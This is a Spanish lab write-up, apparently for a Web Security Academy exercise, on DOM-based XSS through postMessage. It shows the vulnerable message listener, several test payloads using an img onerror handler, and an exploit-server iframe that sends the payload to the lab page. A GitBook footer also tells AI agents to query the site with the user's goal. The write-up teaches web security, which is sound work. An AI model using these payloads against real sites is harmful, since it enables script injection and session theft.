> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-via-web-messages.md).

# XSS DOM mediante mensajes web

### XSS en DOM usando mensajes web

Explotar una vulnerabilidad DOM basada en XSS basada en mensajes web (`postMessage`) para hacer que el `print()` función sea llamada en la página objetivo enviando una carga útil a través del servidor operativo.

#### Comportamiento observado (código fuente)

La página escucha los mensajes publicados e inserta directamente el contenido recibido en `#ads` el elemento sin sanitización:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Esto significa que cualquier `e.data` recibido se representará como HTML en `#ads`, abriendo la puerta a un XSS en el DOM si un atacante puede publicar un mensaje controlado.

<figure><img src="/files/ed76e2af6aecfcad553a9d71ab5123eb3f53d41d" alt=""><figcaption></figcaption></figure>

#### Pruebas interactivas (consola)

Ejemplos de mensajes enviados desde la consola del padre / d

* mensaje de texto simple

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="/files/4eede888cee4cc19de0676e70fbc3f864fa3b71a" alt=""><figcaption></figcaption></figure>

* inyección HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/cb69994b7fd1b22f8107e6c5ec9310e0b17ad57f" alt="" width="490"><figcaption></figcaption></figure>

* prueba de alerta (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/02f18967846f8d339845765a8541ab91e5fe2a35" alt=""><figcaption></figcaption></figure>

* causar `print()` ( lente del laboratorio)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/6ccae16d0bc0fd6fff5bf75f63197f7fb972a7b6" alt=""><figcaption></figcaption></figure>

#### Explotación en iframe en el servidor de explotación

Ejemplo del HTML alojado en tu servidor que carga la página objetivo en un iframe y luego envía la carga útil al cargar el iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="/files/9a15c2764391a86de0a313cae7108809c312382c" alt=""><figcaption></figcaption></figure>

Para activar `print()` en la página objetivo, envía la carga útil que contiene `img` elemento con `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/2f98c59ce5041a193b1cfc6f47fe2a72566a0292" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
